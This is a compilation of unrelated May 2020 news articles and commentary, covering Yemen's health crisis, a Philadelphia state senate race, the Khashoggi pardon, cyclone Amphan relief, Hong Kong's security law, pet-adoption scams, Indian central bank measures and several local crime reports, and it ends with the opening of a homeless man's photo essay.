We hear from many of them that Yemen is really on the brink right now. The situation is extremely alarming; they are talking about that the health system has in effect collapsed, he said.

Aid workers report having to turn people away because they do not have enough medical oxygen or sufficient supplies of personal protective equipment, Laerke said.

A flight carrying international aid workers landed in Aden on Thursday as airspace opened up for rotations, but Yemeni nationals have been doing most of the on-site work, he said.

The main coronavirus treatment centre in southern Yemen has recorded at least 68 deaths in just over two weeks, Doctors Without Borders (Medecins Sans Frontieres, or MSF), the medical charity running the site, said on Thursday.

The figure  more than double the toll announced by Yemeni authorities so far  suggested a wider catastrophe unfolding in the city, MSF said.

War-ravaged Yemen, whose malnourished population has among the worlds lowest immunity levels to disease, is divided between the Saudi-backed government based in Aden and its foe, the Iran-aligned Houthi group, in the north.

Yemeni authorities have reported 184 coronavirus infections, including 30 deaths, to the World Health Organization. The actual incidence is almost certainly much higher, Laerke said.

The UN estimates it will seek $2bn for Yemen to maintain aid programmes through years end, he said, adding that just $677m had been donated so far this year, compared with over $4bn during 2019.

The world governing body and Saudi Arabia will host a donor conference on June 2 in a bid to boost support for Yemen.

We are urging the donors to pledge generously, and those who have given an indication of pledges to actually pay early because the operation in Yemen is severely, severely underfunded, said Laerke.

Saudi role

The conflict in Yemen between government forces and Iran-backed Houthis escalated in March 2015, when a Saudi-led military coalition intervened against the rebels after they overran much of the country.

The war has left tens of thousands of people dead, most of them civilians, and the UN says around 24 million Yemenis  more than two-thirds of the countrys population  rely on some form of aid.

Questions have been raised over Saudi Arabias involvement in the donor conference, given that it has been accused of war crimes in Yemen.

Laerke said the UN had voiced concerns forcefully and vocally over alleged abuses committed by all sides, but stressed that Saudi Arabia was by far the largest humanitarian donor to Yemen in recent years.

They gave very large amounts of money. They gave it unconditionally, no strings attached, he said, adding that the billions in Saudi donations had helped fight cholera outbreaks and looming famines.

Having Saudi Arabia cohost the event is a normal choice based on that background, he said.
State Sen. Larry Farnese, left, is being challenged in the 2020 Democratic primary by community organizer Nikil Saval. Read more

Call it the Bernie Bump.

Clout wondered if an endorsement from U.S. Sen. Bernie Sanders, the independent socialist from Vermont who ended his Democratic bid for president last month, could create a fundraising windfall in a Philadelphia race for the state Senate.

It did for Nikil Saval, the community organizer, writer, and ward leader trying to unseat Sen. Larry Farnese in the Democratic primary for the 1st Senate District.

The Sanders endorsement brought in $11,286 from 2,477 donors from every single state," according to Amanda McIllmurray, Savals campaign manager. She and Saval worked on Sanders 2016 presidential campaign and then helped start Reclaim Philadelphia.

Saval had been raising about $10,000 per week just before the endorsement.

Sanders listed Saval among nine candidates for state legislatures in a May 11 email to his vast list of fervent, small-dollar donors.

 READ MORE: Bernie Sanders got more small donations in Pa., N.J. than Elizabeth Warren and Joe Biden combined

He noted that state legislatures have a tremendous influence over our daily lives and said the nine "progressive candidates will represent our movement at the state level.

Last week, when he got the Bernie bonanza, Saval said he raised a total of $46,510, with the Laborers District Council kicking in $10,000 and national progressive groups also contributing.

A new round of campaign finance reports is due Friday. But Farnese, who picked up an endorsement Thursday from Gov. Tom Wolf, clearly has money to spend. He has invested $180,380, about $36,000 per week, into campaign commercials airing on cable television.

Thats a change for the three-term senator, who hasnt faced a significant challenge since he was first elected in 2008. The district stretches south from Port Richmond, covering Center City, and South Philadelphia.

The winner of the June 2 Democratic primary should do well Nov. 3, with no Republican on the ballot.

Conservative poll claims Trump surges ahead in Pa.'

A poll released Thursday by Restoration PAC, an independent expenditure group funded by one of the biggest spenders in conservative politics, claimed President Donald Trump has surged to a lead in Pennsylvania over former Vice President Joe Biden.

The poll showed Trump up 50.2% to Bidens 45.5%. Restoration PAC suggested those results reflect some backlash in the state against the virus shutdown orders."

However, an average of polls compiled by the website Real Clear Politics shows Biden leading Trump in Pennsylvania by 6.5%.

What gives? Clout dug into the polls cross-tabs to find out. Guess what we found?

Restoration PACs statewide poll of 598 likely voters interviewed from May 1 to 13 broke down by party this way: 43.2% Republicans, 36.7% Democrats and 20.1% independents or smaller political parties.

See the problem?

The most recent voter registration data from the state, updated Monday, shows the breakdown as 47.6% Democratic, 38.2% Republicans and 14.2% independents or smaller political parties.

So Restoration PAC under-sampled Democratic voters across the state by nearly 11% and over-sampled Republicans by 5%.

Pollster Glenn Hodas said his team aimed to contact 600 voters, waiting until the end of the poll to ask about party registration. He said weighting the poll to match party registration in the state would skew the results since people migrate between parties over time. He also suggested, without offering evidence, that some Democrats might have misidentified themselves in the poll.

Its just an idea, Hodas added.

The pollster also found Trump trailing Biden in two other key swing-states, Michigan and Wisconsin.

Restoration PAC is funded by Richard Uihlein, an Illinois shipping-supplies billionaire, who has given the group $4.5 million in the last 15 months.

Open Secrets, a project from the Center For Responsive Politics, ranks Uihlein as the second-largest individual donor funding outside political groups, with more than $25 million sunk into the 2020 election cycle.

A killing, once concealed, is now a campaign pitch

A Florida sheriff, appointed to his post last year by Gov. Ron DeSantis and now seeking election, came under scrutiny this month when it was revealed that he had shot and killed a man in 1993 when he was a 14-year-old living in Philadelphia.

 READ MORE: Fla. sheriff under scrutiny for not disclosing that he killed a man 27 years ago in Philadelphia

Among the many criticisms lobbed at Broward County Sheriff Gregory Tony was that he had not disclosed the killing to DeSantis or in a previous law enforcement job in Florida.

Tony is heading in a different direction these days, incorporating the violent episode into his campaign.

Clouts Florida correspondent pointed out a recent tweet showing a flier from Tonys campaign. It shows his run-down childhood home with the words, I was 14 when gun violence broke through my door...

The daughter of the man shot, 18-year-old Hector Chino Rodriguez, calls Tony a murderer." Reporting from the Daily News and The Inquirer from 1993 shows Tony was charged as an adult, had his case transferred to Family County, and was found not guilty.

Tony, who did not respond to requests for comment, has said he was defending his family from an intruder in their Fairhill home.

Former Daily News reporter Don Russell wrote the 1993 story, which was used by the website Florida Bulldog to reveal Tonys past.

Comments to the Miami Herald from Russell, who was widely known for his award-winning beer writing in the Daily News as Joe Sixpack, are included in Tonys flier.

Its amazing this kid grew up to be the county sheriff, Russell told the Herald. He damn near was killed. The neighborhood this happened [in] was not a good neighborhood. Its amazing hes got his life together to be sheriff.
A major fire broke out at a chemical factory in Kurkumbh MIDC area in Pune district on Friday. As many as five fire tenders were rushed to the spot to bring the flames under control

A major fire broke out at a chemical factory in Kurkumbh MIDC area in Pune district on Friday. As many as five fire tenders were rushed to the spot to bring the flames under control, reports said.

Pune: Fire broke out at a chemical factory in Kurkumbh MIDC area. Five fire tenders have been rushed to the spot. More details awaited. #Maharashtra pic.twitter.com/fLq1rxuSAX  ANI (@ANI) May 22, 2020

The fire broke out at Kusum Chemicals factory in the Maharashtra Industrial Development Corporation area, ANI said. No casualties have been reported so far.

According to The Indian Express, the incident was reported after a loud sound was heard in the area and a cloud of black smoke was seen billowing out of the factory premises.

The area has been cordoned off after the incident. Barricades have also been put to avoid overcrowding.

The report mentioned Devendra Potphode, chief fire officer of Pune Metropolitan Region Development Authority (PMRDA), as saying that firefighters are trying to douse the flames at the Kusmum Distillation and Refining Private Limited Company.

Nationalist Congress Party (NCP) MP Supriya Sule tweeted about the fire along with a picture showing a thick blanket of smoke coming out of the factory. She asked the citizens not to panic.

Kusum Chemicals in Kurkumbh MIDC is on Fire.I spoke with Shri. Naval Kishore Ram-Pune District Collector. Administration has started the Relief Work.I am monitoring the situation and co-ordinating Relief measures along with the Administration.I urge all the citizens not to panic (sic), Sule said in the tweet.

In a series of tweets in Marathi, she further wrote that the administration has started relief work and citizens should not be scared.
The fiancee of Jamal Khashoggi said today that 'no one' has the right to pardon his killers after the murdered journalist's sons offered forgiveness.

Hatice Cengiz vowed to continue fighting for justice after a statement by Salah Khashoggi which opens the door for five people to avoid execution in Saudi Arabia.

'His ambush and heinous murder does not have a statute of limitations and no one has the right to pardon his killers. I and others will not stop until we get justice for Jamal,' she said.

Khashoggi was murdered at the Saudi consulate in Istanbul in October 2018, allegedly by a 15-man Saudi hit squad who are believed to have dismembered him.

Saudi Arabia sentenced five people to death last year, but there is widespread suspicion that the regime and its crown prince were the true culprits.

Hatice Cengiz (pictured), the fiancee of murdered journalist Jamal Khashoggi, said today that 'no one' has the right to pardon his killers

Last moments: Khashoggi was last seen on October 2, 2018, entering the consulate in Istanbul where he was accosted and killed by alleged Saudi agents

Khashoggi's son Salah, who met crown prince Mohammed bin Salman in the wake of the killing, made the 'pardon' announcement on behalf of the journalist's sons today.

'On this holy night of this blessed month [of Ramadan]... we the sons of martyr Jamal Khashoggi announce we forgive and pardon those who killed our father, he said.

Saudi authorities did not comment on the legal ramifications of this, but analysts said it could effectively grant clemency to five people on death row.

'What this essentially means is that the killers will avoid capital punishment since that is a right the family has to forgive,' said Ali Shihabi, a Saudi author and analyst.

'Other legal procedures by the state continue.'

Analyst Nabeel Nowairah also said the family's declaration effectively means the 'murderers will not be executed'.

Salah has previously said he had 'full confidence' in the judicial system, and criticised opponents he said were seeking to exploit the case.

Salah, who lives in the kingdom, has denied reports of a financial settlement with the government.

Khashoggi's son Salah, who met crown prince Mohammed bin Salman in the wake of the killing (pictured), made the 'pardon' announcement on behalf of the journalist's sons today

A Saudi court sentenced the five alleged killers to death in December after trials held in near-secrecy.

Another three were given jail terms totalling 24 years, while a further three were acquitted, prosecutors said.

However, no charges were brought against crown prince Mohammed bin Salman or his former right-hand man Saud al-Qahtani.

It sparked immediate claims of a cover-up to protect the prince, who denies involvement in the killing.

UN investigator Agnes Callamard, who wrote a report setting out 'credible evidence' of the prince's involvement, said the verdicts were a 'mockery of justice'.

The watchdog Reporters Without Borders voiced fears that the five men's death sentences were 'a way to silence them forever and to conceal the truth'.

Khashoggi (pictured), a journalist who had been critical of Saudi Arabia's royal family, was killed in the Saudi consulate where he was picking up paperwork relating to his marriage

A Turkish investigation alleged that 15 Saudi agents were sent from Riyadh to carry out the killing by strangling Khashoggi and cutting his body into pieces. His remains have never been found.

Riyadh insists it was a rogue operation, having initially denied that Khashoggi died at all and then claimed that he died accidentally during a brawl.

However, a report by UN envoy Callamard linked Prince Mohammed to the killing, a claim which the kingdom denies.

In a 99-page report, Callamard said experts found it 'inconceivable' that a sophisticated 15-man mission to kill Khashoggi could have happened without Prince Mohammed's knowledge.

Two of the alleged hit squad had used diplomatic passports, and that the encounter at the consulate was 'only possible because of the pretense of government service', she said.

Khashoggi had been at the consulate to collect paperwork relating to his planned marriage to Cengiz, a Turkish citizen.

The journalist, a 59-year-old critic of the prince, had written for the Washington Post and lived in the United States.
Prime Minister Narendra Modi on Friday afternoon declared an advance assistance fund of Rs 1000 crore for relief and rehabilitation in Amphan-hit districts of Bengal after conducting an aerial survey of the worst-hit areas in the North and South 24 Parganas districts with chief minister Mamata Banerjee.

The state and the Centre tried their best to take precautionary measures before the cyclone. But despite that around 80 lives have been lost. This is very unfortunate. The government of India will work shoulder to shoulder with the state administration. We are announcing the release of an advance assistance fund of Rs 1,000 crore, said PM Modi in Hindi.

Before the Prime Minister arrived at the Kolkata airport, Banerjee said, We heard last evening that he (Modi) would be coming. Sometimes we have to move out of politics and attend to constitutional obligations and work together as state and Central governments. We have to maintain that relationship. We have to follow the federal structure, said Banerjee.

While we have received reports of 80 deaths so far, six crore people in the state have been directly affected. This (Amphan) has done more damage than any other natural disaster, said Banerjee.

Modi also declared Rs 2 lakh as assistance to families of the dead and Rs 50,000 to the injured people from the Prime Ministers disaster relief fund.

Before making the announcements, the Prime Minister went for an aerial survey with Banerjee for the first time and even held a meeting with state officials at Basirhat in the North 24 Parganas. They flew over the worst affected areas in a 10-seat army chopper for around one hour.

Modi sought a report on the damages and said central teams would also visit Bengal for damage assessment, said officials who attended the administrative meeting.

Also Read: West Bengal is fighting well: PM Modis rare praise for Mamata Banerjee

The fight against the coronavirus and the fight against the cyclone are completely different in nature. To fight the coronavirus, we ask people to stay at home while during the cyclone we ask people to leave their homes and take shelter in safe places. Under the leadership of Mamata Banerjee, the state has fought both the situations. West Bengal has to fight. We have to work together, said Modi.
For decades Hong Kong has been a small island of freedom attached to the one-party dictatorship that is mainland China.

Yesterday in Beijing, the ruling Communist Party made clear that China plans to change all that.

At its annual charade of a parliament, the National Peoples Congress  which meets every year to rubber-stamp whatever the Politburo decrees  a key item on the agenda was a new security law for Hong Kong.

The law would outlaw what Beijing defines as terrorism, secession and treason. It is an assault on Hong Kong liberties which is likely to abolish free speech and make dissent illegal. And it is almost certainly a response to pro-democracy protests in Hong Kong that in the past year brought millions on to the streets, posing the biggest challenge to Chinas rule since the handover in 1997.

Pan-democratic legislators scuffle with security as they protest against new security laws during Legislative Council's House Committee meeting in Hong Kong

Dissidents in China know how such laws operate  they turn any criticism of the Communist Partys policies into a crime.

The rest of the world may be pointing fingers at Beijings efforts to hush up the early stages of the coronavirus in Wuhan, but the truth is that Covid-19 worries Beijing less than Hong Kong.

This is because the pandemic primarily threatens ordinary people  whereas Hong Kong, an island of self-government and democracy inside China, could slip the virus of dissent through a chink in the one-party states armour. Dissent that could infect more than a billion Chinese.

Since the handover of Hong Kong in 1997, China has claimed that it is abiding by the one country, two systems policy which allows Hong Kong to operate independently of China and was a key demand for the territorys future governance during the handover talks.

But Hong Kongs rights to make its own laws and to enjoy media freedoms unknown in the rest of China have increasingly been suffocated by the Communist regime.

Chinas authoritarian behaviour towards the territory led to a year of often violent street protests in Hong Kong. These were brought to a halt by the arrival of the coronavirus and strict social distancing.

Pro-democracy lawmaker Wu Chi-wai scuffles with the police during a march against new security laws near China's Liaison Office in Hong Kong

The absence of protests provided the perfect opportunity for Chinas President Xi to cynically enact the catch-all security law. Even as the proposed legislation was announced the Chinese premier insisted the one country, two systems policy would be strengthened as a result. That was classic Communist double-think.

What Beijing wants is to reduce Hong Kong to the level of its so-called autonomous regions such as Tibet or Xinxiang. MPs from Chinas ethnic minorities wearing colourful folk costumes dot the countrys parliament, but they vote only one way  like all the others.

The turbulence of Hong Kongs politics is an affront to the conformity cherished in Beijing. The real fear is that under the cover of the new law, China will impose the kind of police state which enforces thought-reform on trouble-makers elsewhere in China, especially on Buddhists in Tibet and Muslim Uyghurs in Xinxiang.

Hong Kong Chief Executive Carrie Lam holds a press conference in Hong Kong after attending the opening session of the National People's Congress

Optimists suggest that China would never do to a vibrant economy such as Hong Kong what it has done in its remote poverty-stricken regions. Would Beijing really risk killing the goose which lays so many golden eggs and vast commercial and financial influence across the world?

But that is to misunderstand President Xis and the Chinese Communist Partys mentality. Every time push has come to shove in the past, holding on to power at whatever cost has been the partys one consistent principle.

For 40 years it has allowed its people to make money but it does not countenance any challenge to government authority.

Eddie Chu, a pro-democracy lawmaker, is removed by security during a scuffle with pro Beijing lawmakers

The street protests in Hong Kong were an affront to Beijing, but the inability of its local appointees to get anything done in the territorys legislative assembly, which has been in existence since 1997, was the final straw. Now, Beijing has decided to act. Secret police could soon be stalking the streets of Hong Kong and compliant courts stifling dissent and freedom of thought, while dissidents could be disappeared. Western companies and business could soon be fleeing Hong Kongs shores.

Covid-19 should not distract us from the implications of all this. In the last Cold War, West Berlin was an island of freedom inside the Soviet bloc. Its survival was a beacon of hope for Communisms subjects in Eastern Europe.

Likewise, Hong Kong has been the Wests beacon in Communist China. And if we remain true to our democratic principles and confront China over Hong Kong, President Xis assault on the former British territory could spark a new Cold War.
The Better Business Bureau says complaints involving pet-related scams soared in April as demand grew for stay-at-home pandemic pals. (stock.adobe.com)

Not surprisingly, animal shelters and rescue groups nationwide and across the Southland have reported a surge in pet adoptions since the coronavirus forced everyone to stay home.

A furry friend can do wonders to help ease the stress, anxiety and loneliness of life during the pandemic.

Unfortunately, and also not surprisingly, all this interest in dogs and cats has created a boom in pet-related fraud reports.

John Novaria, a spokesman for the Better Business Bureau, told me this week that consumers filed more reports of pet scams in April than in the first three months of the year combined.

"People are lonely," he said. "These are difficult times. People are looking for companionship."

This represents a once-in-a-lifetime opportunity for bogus breeders and other unscrupulous types looking to fleece consumers with online listings for nonexistent critters, or to nail people with sky-high fees for dubious services.

"We even saw one instance where someone was asked for money so a dog could be given COVID medication before shipment," Novaria said.

Needless to say, there is no approved medication for COVID-19, either for pooches or people (or presidents for that matter, but that's a different story).

Novaria said the BBB received 371 complaints of pet-related fraud in April, a more than 200% increase from the same month a year earlier. There were 306 such complaints in January, February and March combined.

Financial losses related to pet fraud typically run in the hundreds of dollars, Novaria said, but it's not unusual to see losses of as much as $5,000.

He said the BBB received one report of a woman who was charged about $60,000 to have a puppy shipped from Texas to Minneapolis.

The woman was repeatedly asked to pay additional fees, and her willingness to do so  and seeming desperation to adopt this particular pup  apparently encouraged the seller to keep tacking on extra charges.

"I wouldn't call this person 'gullible,'" Novaria replied when I asked who would spend $60,000 on a puppy. "I would call her 'impulsive.'"

Story continues

I'd say she was barking up the wrong tree in seeking a pricey purebred instead of a rescue dog, but I'll get back to that.

First, an acknowledgement from personal experience that a pet can be the perfect friend at a time like this.

As I write this at home, I'm glancing down at the 80-pound St. Bernard/golden retriever my wife and I adopted from the West Los Angeles Animal Shelter about six years ago.

Teddy has seldom left my side throughout this stay-at-home ordeal, and has been an invaluable source of comfort and solace when my mood has been darkest.

We also have a beauty queen of a calico kitty adopted from the same shelter. She's made it her mission to practice moves from Cirque du Soleil on the bed as we try to sleep at night.

Some of my single, childless friends have told me their pets are the only thing making home confinement tolerable.

California last year became the first state in the nation to ban pet stores from selling dogs, cats and rabbits that aren't rescues. In other words, all such critters have to come from shelters and nonprofits.

The goal of the Pet Rescue and Adoption Act was to shut down so-called puppy mills and kitten factories  facilities that "house animals in overcrowded and unsanitary conditions without adequate food, water, socialization or veterinary care," according to a fact sheet for the law.

However, state residents are still free to purchase dogs, cats and rabbits directly from breeders, and it's this loophole that scammers are exploiting in response to heightened demand amid the pandemic.

There are trustworthy breeders out there, but it's up to you to do your homework.

The BBB found in a 2017 study that at least 80% of sponsored ads that come up in internet searches for pets may be bogus.

Many of these rackets are run by scammers in West Africa using U.S.-based accomplices to receive and forward funds from victims, the organization reported.

Never buy a pet  particularly an expensive purebred  without seeing it in person. If that's impossible because of the coronavirus or because the animal is too far away, at the very least check out the seller online.

Pro tip: Do a web search of the puppy's or kitten's picture.

Some scammers are clever, but many are lazy. They'll grab a photo online of the cutest baby animal available. The same picture, therefore, might turn up in multiple listings from multiple sources. Obviously that's a red flag.

Never wire money or use gift cards for payment  you'll almost certainly never see your money again if the transaction turns out to be fraudulent.

Always use a credit card with built-in fraud protection, although that too can be perilous, so consider placing a "freeze" on your credit files before any such transaction.

Watch out for add-on charges. Many scammers, as well as some legitimate breeders, will try to lure you in with cut-rate prices for purebred pups and then demand hefty payments for special crates, vaccinations and transit services.

If you want to arrange shipping on your own, do a search for a reputable service on the website of the International Pet and Animal Transportation Assn.

But here's how you can avoid all these potential hassles: Turn to your nearest shelter for animals immediately available for adoption.

Most shelters are currently closed to the public or open on an appointment-only basis because of the coronavirus, but they're still seeking homes for dogs and cats.

"Every day is a new adventure or challenge as we learn what works and what is needed for pets and the people who love them during the pandemic," said Brenda Barnette, general manager of L.A. Animal Services, which runs the city's shelters.

You can search online for animals available from city and county facilities.

Also think about fostering, which means providing a temporary home to a dog or cat, or to some puppies or kittens. My wife and I have fostered several batches of kittens on behalf of the West L.A. shelter, and it's a deeply rewarding experience.

Also, Teddy totally digs it, as my Twitter followers are well aware.

The bottom line is that a pet makes a great pal at a time when we can all use some extra love. But any time demand increases for something, the chances of your being conned go up as well.

Be careful, keep your eyes open, avoid any deal that looks too good to be true.

And don't skimp on the squeaky toys. Seriously, you can never have too many squeaky toys around the house.
RBI Governor Shaktikanta Das (PTI)

In his first press conference after the governments Rs 20 lakh crore economic stimulus package announcement and third in the last two months, Reserve Bank of India (RBI) Governor Shaktikanta Das has done exactly what he promised last time -- to do whatever it takes to help the banking system in times of COVID crisis.

Of the three major measures Das announced on May 22 a 40 bps rate cut, three more months extension of loan moratorium and Rs 15,000-crore refinance facility  the biggest announcement is the moratorium extension. This will give immediate relief to cash-starved companies and individuals from repayment obligations to banks. According to rating agency Icra, around 328 companies have applied for moratorium with their lenders from across the sectors.

An extension of the moratorium was sought by banks and non-banking finance companies in multiple meetings with the central bank. Das, however, made it clear that it is up to the banks to decide whether to extend the moratorium to their clients or not. In the last round, when the RBI had announced the moratorium facility, banks were initially hesitant to extend the moratorium to NBFCs while NBFCs had to give the moratorium to their borrowers. Banks finally decided to yield after the RBIs intervention. One needs to wait and watch how banks respond this time.

The moratorium extension coupled with advance rate cut gives a sense about the RBI assessment that stress in the banking system will continue. So far, if one looks at measures from the government and the RBI, the central banks actions have offered immediate support to the borrowers.

In the first two pressers, the RBI governor announced a series of measures to ease liquidity pressure on the banking system and cushion the economy from the COVID-19 shock. These included a sharp 75 basis points rate cut in March and liquidity measures worth at least Rs 5 lakh crore.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The extension of the loan moratorium for term loans for a few more months against the backdrop of extension of the nationwide lockdown till May 31 will help industries. Corporates have been demanding extension of the moratorium facility for another three months as they are severely hit by the lockdown across sectors.

Similarly, the continuation of the liquidity support measures for banks was necessitated against the backdrop of continuing uncertainty in the economy. As part of the COVID-19 economic package, the Narendra Modi-led government has announced a series of loan schemes, some backed by government guarantees to small industrial units and non-banking finance companies (NBFCs).

These include a Rs 3 lakh crore economic package for micro, small and medium enterprises (MSMEs), Rs 75,000 crore of loans to NBFCs (of which Rs 30,000 crore is a three-month loan scheme fully backed by the government), Rs 5,000 crore for street vendors and Rs 2 lakh crore concessional credit to farmers. Of the Rs 20 lakh crore package, the direct spending is only about one percentage of GDP, the rest include loans through various banking channels and development institutions.

However, there was criticism that most of the initiatives announced in the government package were not of immediate help but medium-to-long term measures. The RBI measures, on the other hand, have focused more on immediate relief.
New Delhi: The family of murdered Saudi journalist Jamal Khashoggi, who was killed inside the Saudi consulate in Istanbul, Turkey, in 2018, has pardoned his killers. Issuing a statement on his Twitter handle, Salah Khashoggi, the son of Jamal Khashoggi, said that the family has decided to pardon those who murdered their father, said a Saudi Gazette report on Friday (May 22).

On this virtuous night of this holy month, we recall the say of God Almighty in his holy book: The repayment of bad actions, is one equivalent to it, But whoever pardons and makes reconciliation, his reward lies with God. He does not love the unjust, Salah Khashoggi is quoted as saying.

Thus, we, sons of the martyr Jamal Khashoggi, announce that we forgive those who killed our father  May he rest in peace  for the sake of God Almighty, hopefully seeking reward with the Almighty, Salah's statement reportedly said.

In a rogue operation carried out at the Saudi Consulate in Istanbul, Turkey, Khashoggi was killed on October 2, 2018.

Khashoggi, who was a critic of the Saudi government, had been writing for the Washington Post newspaper and living in the US before his death.

In December 2109, a Saudi court reportedly awarded death sentence to five people for the murder besides sentencing three others to a total of 24 years in jail following an investigation that involved a total of 31 persons and 21 of these were taken into custody.

Salah Khashoggi had welcomed the judgment, and expressed his faith in the Saudi judicial system denouncing those who politicizes his fathers case.
A Nigerian trader accused of impersonating three Ministers of State to defraud victims of monies of over GHC10,000.00 has appeared before an Accra Circuit Court.



Vivian Sajida Imran and her husband Prince Joel, now at large, are said to have used the names of the Ministers of state to defraud two victims of over GHC 10,000.00 under the pretext of securing them jobs.



Vivian and her husband Joel portrayed to the victims that they could secure jobs for them at COC0BOD, Tema Oil Refinery (TOR) and Ghana Gas Company Limited for them.

They are alleged to have collected GHC 6,000.00 from one Seth Samuel Tetteh to provide him with a job at TOR and five others of different sums of monies for job opportunities at COCOBOD and Ghana Gas Company limited.



They therefore impersonated Kojo Oppong Nkruamh, Minister of Information, Madam Shirley Ayorkor Botchway, Minister of Foreign Affairs and Henry Quartey, Deputy Minister, National Security by creating Facebook accounts to defraud their victims.



The Court presided over by Mr Emmanuel Essandoh granted Vivian bail in the sum of GHC12,000.00 with two sureties one of whom should not be earning less than GHC1,500.00 a month.



Vivian pleaded not guilty to eight counts of falsely pretending to be a public officer and defrauding by false pretense.



She is expected to reappear on June 3.



Detective Sergeant Frederick Sarpong told the court that the complainant is an operative of the National Security.



He said Vivian is a trader, while Joel who is currently at large is the husband of Vivian



According to the prosecution, the victims in the case live across the country.



Detective Sergeant Sarpong said during the month of April, Vivian and Joel used the names of Kojo Oppong Nkrumah, Shirley Ayorkor Botchway, and Henry Quartey, to create multiple facebook accounts and pretended to be ministers.



According to him, Vivian and Joel in their online chats and phone calls with the victims informed them that they could secure them with an employment at TOR, Ghana Gas or and COCOBOD.



Detective Sergeant Sarpong said, Vivian and Joel further requested the victims to pay various amount of moneys to MTN mobile money accounts for application forms and interviews.



"The monies amounting to GHC10, 277.00 were paid to MTN mobile numbers 0242774965 and 0551047196 and later transferred into Vivian's mobile money number 0248024471.



The Prosecution said "The honourable ministers who later had a wind of activities of the accused persons informed the National security and Vivian and Joel were tracked to their house at Ashaiman Jericho where she was arrested but Joel managed to escape.



The prosecution said a search conducted in the room of Vivian and Joel revealed six mobile phones including the three mobile money numbers used to receive the monies from their victims.



He said "an order of the court was sought and forensic examination was carried out on the retained mobile phones. One of the retained mobile phone was found to contain MTN SIM number 0248024471 registered in the name of Vivian."



According to Prosecution the same number was found to be the final destination where the money obtained from the victims were transferred to and later withdrawn.



Prosecution said in Vivian's investigative cautioned statement she admitted being the owner of that number being 0248024471.



Prosecution said when the victims were later contacted and they narrated their ordeal to the Security agents.



The Prosecution said intensive efforts was underway to track Joel who is still at large.

Source: GNA









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By West Kentucky Star Staff May. 21, 2020 | 06:18 PM | PADUCAH

On Wednesday, McCracken County Drug Division detectives performed a traffic stop on a vehicle on Irvin Cobb Drive for alleged traffic violations. According to detectives, they determined that the driver, 43-year-old Billy Burkeen of Paducah, was under the influence of a substance.







Deputies searched his vehicle and allegedly found a methamphetamine pipe with a small amount of methamphetamine inside. Burkeen was arrested and lodged in the McCracken County Jail.





He is being charged with first offense DUI, possession of methamphetamine, careless driving, possession of drug paraphernalia, and no turn signal.

A Paducah man is facing drug and DUI related charges after a traffic stop.
Justin Lynn Conner is facing several charges after police said he stole a camper, led law enforcement on a chase, and fought two police officers in a creek bed.

Law enforcement observed an older Ford Explorer towing a newer camper on Thrasher Pike on Tuesday. According to the police report, the truck pulled into a parking lot and the officer then initiated contact with the driver, who identified himself as James Conner, 34, and the passenger Garth Schafluetzel.

Conner said the camper was their grandfathers, but he could not provide a phone number or any information about his grandfather, according to police. After running both passengers through a database, the officer discovered Conner's first name was actually Justin.

After talking about the name issue with Conner, the driver began to fight the deputies. According to the police report, Conner continually shouted for Garth to help him out. Garth just put his hands in the air and did not assist Conner. Conner was tazed, hit with batons, and blasted with pepper spray, and yet he continued to fight, according to the police report.

As the deputies continued to fight into a creek, Conner was able to get a deputy into a headlock. The deputy broke out of the headlock and began to hit Conner with a baton. Conner then tried to take the baton out of another officers hands.

After this episode, Conner began to run down through the creek bed. Police said Conner threw rocks and debris into the officers faces as he ran away. Once he ran across the street and into the woods, deputies were able to get Conner into custody.

While this chase was going on, Schafluetzel ran away from the scene. Law enforcement also discovered the camper had been stolen from Arc Care Storage Facility off Hixson Pike. The owners of the camper arrived on scene and said the $34,000 vehicle had sustained $50 in damage.

After being treated at Memorial Hixson for injuries, Conner was transported to the Hamilton County Jail. He has been charged with theft over $10,000, two counts of aggravated assault on police, evading arrest, resisting arrest, and driving on a revoked license for DUI.
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In mid-March, we published a profile of Bumdog Torres. A few weeks ago, he reached out and pitched us a photo essay. We said yes. The result  6 Feet Back From Life: A Homeless Man's Photo Essay On Life During Coronavirus  and the response to the piece has been overwhelmingly positive. This photo essay, #findthebumdog, is the first in a series.

I think it was sometime in 2009 or 2010 that a friend of mine who was a photographer sent me a link to a Chicago TV story about a newly discovered photographer named Vivian Maier. Like many people, I was blown away as much by her story as her images. What was so inspiring about her photography was that it didn't seem much different than the photos you see in old family albums. The images were ordinary but with a beautification that comes with a conscious effort.

I never considered myself a photographer. Even though I have a good understanding of composition, it's film composition. Not the moments of still photographs but photographs in movement. I might capture some moments, but it's the movement, not the moments, that keep me interested. Otherwise, I don't have the patience.

I've never had a real photographic camera. I've had video cameras but nothing dedicated to photography. By 2014, every smartphone came with a very good camera. I'd never had a smartphone but I began to creatively visualize an iPhone  and not just any iPhone. I wanted the iPhone 4s, the last one designed under Steve Jobs.

In October of 2014, I had been deported out of Thailand back to Los Angeles (long story) and found myself at old haunts in the Fairfax District. I was seeing friends I hadn't seen in almost 10 years. One of them was "Slayer," a homeless graffiti artist, tagger and dumpster diver.

A few days after I returned, he showed me an iPhone 4s he had found in the trash. The carrier was Japanese so you couldn't use it as a phone, but everything else worked, including the internet. I asked him how much he wanted for it. He didn't want to sell it. He said he was in love with it because of the music it could play, which was what he was into.

However, I also knew he was into meth, which meant he was GONNA sell it. It was just a matter of when, where and who to. For the next few days, I shadowed him, sometimes checking in on him two or three times a day, letting him know I was still interested. He told me he wouldn't sell it for less than $150. I knew that wasn't true. When he started jonesing, it was gonna be up for grabs.

